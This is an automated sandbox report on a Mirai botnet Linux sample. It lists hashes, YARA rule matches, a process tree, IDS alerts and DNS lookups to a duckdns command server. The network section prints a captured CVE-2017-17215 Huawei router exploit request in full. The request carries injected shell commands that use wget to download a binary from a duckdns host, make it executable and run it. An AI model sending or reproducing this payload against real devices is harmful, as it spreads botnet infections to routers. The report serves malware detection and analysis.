Create Interactive Tour

Linux Analysis Report
zh3b51uyPN.elf

Overview

General Information

Sample Name:	zh3b51uyPN.elf
Analysis ID:	729744
MD5:	5fe70eb42ada8bb26aef44f6403608cd
SHA1:	a44db161abe6605088ec432c9dfe8f2da6ad73ca
SHA256:	605069eb2915b8305081cce83c9b6fa7fd2cc753eea6c7d1eaa5e6ef72de70e2
Tags:	32elfintelmirai
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Uses dynamic DNS services

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Deletes log files

Sample has stripped symbol table

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	729744
Start date and time:	2022-10-25 01:32:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	zh3b51uyPN.elf
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal92.troj.linELF@0/53@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/zh3b51uyPN.elf
PID:	6291
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6203, Parent: 1)

logrotate (PID: 6203, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6267, Parent: 6203)

gzip (PID: 6267, Parent: 6203, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6268, Parent: 6203)

sh (PID: 6268, Parent: 6203, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6269, Parent: 6268)

invoke-rc.d (PID: 6269, Parent: 6268, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6270, Parent: 6269)

runlevel (PID: 6270, Parent: 6269, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6271, Parent: 6269)

systemctl (PID: 6271, Parent: 6269, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6276, Parent: 6269)

ls (PID: 6276, Parent: 6269, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6277, Parent: 6269)

systemctl (PID: 6277, Parent: 6269, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6278, Parent: 6203)

gzip (PID: 6278, Parent: 6203, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6279, Parent: 6203)

sh (PID: 6279, Parent: 6203, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6280, Parent: 6279)

rsyslog-rotate (PID: 6280, Parent: 6279, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6281, Parent: 6280)

systemctl (PID: 6281, Parent: 6280, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6204, Parent: 1)

install (PID: 6204, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6266, Parent: 1)

find (PID: 6266, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6272, Parent: 1)

mandb (PID: 6272, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

zh3b51uyPN.elf (PID: 6291, Parent: 6124, MD5: 5fe70eb42ada8bb26aef44f6403608cd) Arguments: /tmp/zh3b51uyPN.elf

zh3b51uyPN.elf New Fork (PID: 6292, Parent: 6291)

zh3b51uyPN.elf New Fork (PID: 6293, Parent: 6292)

zh3b51uyPN.elf New Fork (PID: 6294, Parent: 6292)

zh3b51uyPN.elf New Fork (PID: 6295, Parent: 6292)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
zh3b51uyPN.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xab1a:$x2: /dev/misc/watchdog 0xab0c:$x3: /dev/watchdog 0xab62:$s5: HWCLVGAJ
zh3b51uyPN.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
zh3b51uyPN.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x37f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
zh3b51uyPN.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xab56:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
zh3b51uyPN.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x7a32:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
zh3b51uyPN.elf	Linux_Trojan_Mirai_95e0056c	unknown	unknown	0xab86:$a: 50 46 00 13 10 11 16 17 00 57 51 47 50 00 52 43 51 51 00 43
zh3b51uyPN.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x9957:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
zh3b51uyPN.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x843b:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
zh3b51uyPN.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7a02:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 4 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xab1a:$x2: /dev/misc/watchdog 0xab0c:$x3: /dev/watchdog 0xab62:$s5: HWCLVGAJ
6291.1.0000000008048000.0000000008054000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x37f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xab56:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x7a32:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_95e0056c	unknown	unknown	0xab86:$a: 50 46 00 13 10 11 16 17 00 57 51 47 50 00 52 43 51 51 00 43
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x9957:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x843b:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6291.1.0000000008048000.0000000008054000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7a02:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 4 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.160.66.148

Timestamp:	192.168.2.2334.160.66.14853052372152835222 10/25/22-01:33:34.418961
SID:	2835222
Source Port:	53052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.61.152

Timestamp:	192.168.2.23197.234.61.15260262372152835222 10/25/22-01:33:54.686860
SID:	2835222
Source Port:	60262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.95.68.114

Timestamp:	192.168.2.2334.95.68.11456134372152835222 10/25/22-01:34:45.756189
SID:	2835222
Source Port:	56134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.23.250

Timestamp:	192.168.2.23156.247.23.25051774372152835222 10/25/22-01:34:26.339750
SID:	2835222
Source Port:	51774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.59.51

Timestamp:	192.168.2.23197.234.59.5142520372152835222 10/25/22-01:33:58.748008
SID:	2835222
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.148.227.144

Timestamp:	192.168.2.23146.148.227.14437050372152835222 10/25/22-01:33:18.763556
SID:	2835222
Source Port:	37050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.46.83.136

Timestamp:	192.168.2.23147.46.83.13655636372152835222 10/25/22-01:33:06.335464
SID:	2835222
Source Port:	55636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 207.60.3.191

Timestamp:	192.168.2.23207.60.3.19136190372152835222 10/25/22-01:34:58.015235
SID:	2835222
Source Port:	36190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.69.202.110

Timestamp:	192.168.2.2386.69.202.11046040372152835222 10/25/22-01:33:09.386039
SID:	2835222
Source Port:	46040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: amkcnc.duckdns.org

System Summary

Malicious sample detected (through community Yara rule)

Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_95e0056c Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_95e0056c Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_95e0056c reference_sample = 45f67d4c18abc1bad9a9cc6305983abf3234cd955d2177f1a72c146ced50a380, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a2550fdd2625f85050cfe53159858207a79e8337412872aaa7b4627b13cb6c94, id = 95e0056c-bc07-42cf-89ab-6c0cde3ccc8a, last_modified = 2021-09-16
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: zh3b51uyPN.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_95e0056c reference_sample = 45f67d4c18abc1bad9a9cc6305983abf3234cd955d2177f1a72c146ced50a380, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a2550fdd2625f85050cfe53159858207a79e8337412872aaa7b4627b13cb6c94, id = 95e0056c-bc07-42cf-89ab-6c0cde3ccc8a, last_modified = 2021-09-16
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: classification engine

Classification label: mal92.troj.linELF@0/53@1/0

Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1582/cmdline	Jump to behavior
